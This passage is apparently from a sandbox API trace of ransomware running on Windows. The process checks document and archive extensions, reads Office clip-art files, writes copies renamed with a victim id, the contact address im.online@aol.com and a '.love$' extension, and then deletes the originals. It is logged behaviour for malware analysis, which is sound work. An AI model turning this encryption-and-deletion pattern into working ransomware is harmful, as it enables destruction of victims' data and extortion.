Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0273.169] lstrlenW (lpString=".dbf") returned 4 [0273.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0273.169] lstrlenW (lpString=".1cd") returned 4 [0273.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0273.169] lstrlenW (lpString=".jpg") returned 4 [0273.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0273.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0273.169] lstrlenW (lpString=".doc") returned 4 [0273.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString=".docx") returned 5 [0273.169] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0273.169] lstrlenW (lpString=".pdf") returned 4 [0273.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString=".xls") returned 4 [0273.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.169] lstrlenW (lpString=".xlsx") returned 5 [0273.169] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0273.169] lstrlenW (lpString=".ppt") returned 4 [0273.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0273.170] lstrlenW (lpString=".zip") returned 4 [0273.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.170] lstrlenW (lpString=".rar") returned 4 [0273.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.170] lstrlenW (lpString=".bz2") returned 4 [0273.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.170] lstrlenW (lpString=".7z") returned 3 [0273.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0273.170] lstrlenW (lpString=".dbf") returned 4 [0273.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0273.170] lstrlenW (lpString=".1cd") returned 4 [0273.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0273.170] lstrlenW (lpString=".jpg") returned 4 [0273.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.170] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.170] lstrlenW (lpString="J0105232.WMF") returned 12 [0273.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0273.172] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=5632) returned 1 [0273.172] CloseHandle (hObject=0x418) returned 1 [0273.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220 [0273.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0273.173] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.173] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.175] GetLastError () returned 0x0 [0273.175] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1600, lpOverlapped=0x0) returned 1 [0273.384] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1610, lpOverlapped=0x0) returned 1 [0273.530] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.531] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.531] SetEndOfFile (hFile=0x388) returned 1 [0273.531] CloseHandle (hObject=0x388) returned 1 [0273.531] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.531] SetEndOfFile (hFile=0x418) returned 1 [0273.534] CloseHandle (hObject=0x418) returned 1 [0273.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0273.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0273.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0273.537] lstrlenW (lpString=".doc") returned 4 [0273.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.537] lstrlenW (lpString=".docx") returned 5 [0273.537] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0273.537] lstrlenW (lpString=".pdf") returned 4 [0273.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.537] lstrlenW (lpString=".xls") returned 4 [0273.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.537] lstrlenW (lpString=".xlsx") returned 5 [0273.537] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0273.537] lstrlenW (lpString=".ppt") returned 4 [0273.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0273.537] lstrlenW (lpString=".zip") returned 4 [0273.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.537] lstrlenW (lpString=".rar") returned 4 [0273.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.537] lstrlenW (lpString=".bz2") returned 4 [0273.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.537] lstrlenW (lpString=".7z") returned 3 [0273.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0273.537] lstrlenW (lpString=".dbf") returned 4 [0273.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0273.538] lstrlenW (lpString=".1cd") returned 4 [0273.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0273.538] lstrlenW (lpString=".jpg") returned 4 [0273.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0273.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0273.538] lstrlenW (lpString=".doc") returned 4 [0273.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.538] lstrlenW (lpString=".docx") returned 5 [0273.538] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0273.538] lstrlenW (lpString=".pdf") returned 4 [0273.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.538] lstrlenW (lpString=".xls") returned 4 [0273.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.538] lstrlenW (lpString=".xlsx") returned 5 [0273.538] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0273.538] lstrlenW (lpString=".ppt") returned 4 [0273.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0273.538] lstrlenW (lpString=".zip") returned 4 [0273.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.538] lstrlenW (lpString=".rar") returned 4 [0273.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.538] lstrlenW (lpString=".bz2") returned 4 [0273.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.538] lstrlenW (lpString=".7z") returned 3 [0273.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0273.539] lstrlenW (lpString=".dbf") returned 4 [0273.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0273.539] lstrlenW (lpString=".1cd") returned 4 [0273.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0273.539] lstrlenW (lpString=".jpg") returned 4 [0273.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.539] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.539] lstrlenW (lpString="J0105280.WMF") returned 12 [0273.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0273.541] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11540) returned 1 [0273.541] CloseHandle (hObject=0x418) returned 1 [0273.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220 [0273.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0273.542] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.542] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.544] GetLastError () returned 0x0 [0273.544] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d14, lpOverlapped=0x0) returned 1 [0273.550] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d20, lpOverlapped=0x0) returned 1 [0273.552] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.552] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.552] SetEndOfFile (hFile=0x388) returned 1 [0273.552] CloseHandle (hObject=0x388) returned 1 [0273.552] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.552] SetEndOfFile (hFile=0x418) returned 1 [0273.555] CloseHandle (hObject=0x418) returned 1 [0273.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0273.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0273.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0273.558] lstrlenW (lpString=".doc") returned 4 [0273.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.558] lstrlenW (lpString=".docx") returned 5 [0273.558] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0273.558] lstrlenW (lpString=".pdf") returned 4 [0273.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.558] lstrlenW (lpString=".xls") returned 4 [0273.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.558] lstrlenW (lpString=".xlsx") returned 5 [0273.558] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0273.558] lstrlenW (lpString=".ppt") returned 4 [0273.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0273.559] lstrlenW (lpString=".zip") returned 4 [0273.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.559] lstrlenW (lpString=".rar") returned 4 [0273.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString=".bz2") returned 4 [0273.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString=".7z") returned 3 [0273.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0273.559] lstrlenW (lpString=".dbf") returned 4 [0273.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0273.559] lstrlenW (lpString=".1cd") returned 4 [0273.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0273.559] lstrlenW (lpString=".jpg") returned 4 [0273.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0273.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0273.559] lstrlenW (lpString=".doc") returned 4 [0273.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString=".docx") returned 5 [0273.559] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0273.559] lstrlenW (lpString=".pdf") returned 4 [0273.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString=".xls") returned 4 [0273.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.559] lstrlenW (lpString=".xlsx") returned 5 [0273.559] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0273.560] lstrlenW (lpString=".ppt") returned 4 [0273.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0273.560] lstrlenW (lpString=".zip") returned 4 [0273.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.560] lstrlenW (lpString=".rar") returned 4 [0273.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.560] lstrlenW (lpString=".bz2") returned 4 [0273.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.560] lstrlenW (lpString=".7z") returned 3 [0273.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0273.560] lstrlenW (lpString=".dbf") returned 4 [0273.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0273.560] lstrlenW (lpString=".1cd") returned 4 [0273.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0273.560] lstrlenW (lpString=".jpg") returned 4 [0273.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.560] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.560] lstrlenW (lpString="J0105282.WMF") returned 12 [0273.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0273.562] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4796) returned 1 [0273.562] CloseHandle (hObject=0x418) returned 1 [0273.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220 [0273.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0273.563] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.563] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.564] GetLastError () returned 0x0 [0273.564] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x12bc, lpOverlapped=0x0) returned 1 [0273.769] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0273.792] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.792] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.794] SetEndOfFile (hFile=0x388) returned 1 [0273.794] CloseHandle (hObject=0x388) returned 1 [0273.794] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.794] SetEndOfFile (hFile=0x418) returned 1 [0273.798] CloseHandle (hObject=0x418) returned 1 [0273.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0273.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0273.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0273.884] lstrlenW (lpString=".doc") returned 4 [0273.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.884] lstrlenW (lpString=".docx") returned 5 [0273.884] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0273.884] lstrlenW (lpString=".pdf") returned 4 [0273.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.884] lstrlenW (lpString=".xls") returned 4 [0273.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.884] lstrlenW (lpString=".xlsx") returned 5 [0273.884] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0273.885] lstrlenW (lpString=".ppt") returned 4 [0273.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0273.885] lstrlenW (lpString=".zip") returned 4 [0273.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.885] lstrlenW (lpString=".rar") returned 4 [0273.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.885] lstrlenW (lpString=".bz2") returned 4 [0273.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.885] lstrlenW (lpString=".7z") returned 3 [0273.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0273.885] lstrlenW (lpString=".dbf") returned 4 [0273.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0273.885] lstrlenW (lpString=".1cd") returned 4 [0273.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0273.885] lstrlenW (lpString=".jpg") returned 4 [0273.885] lstrcmpiW 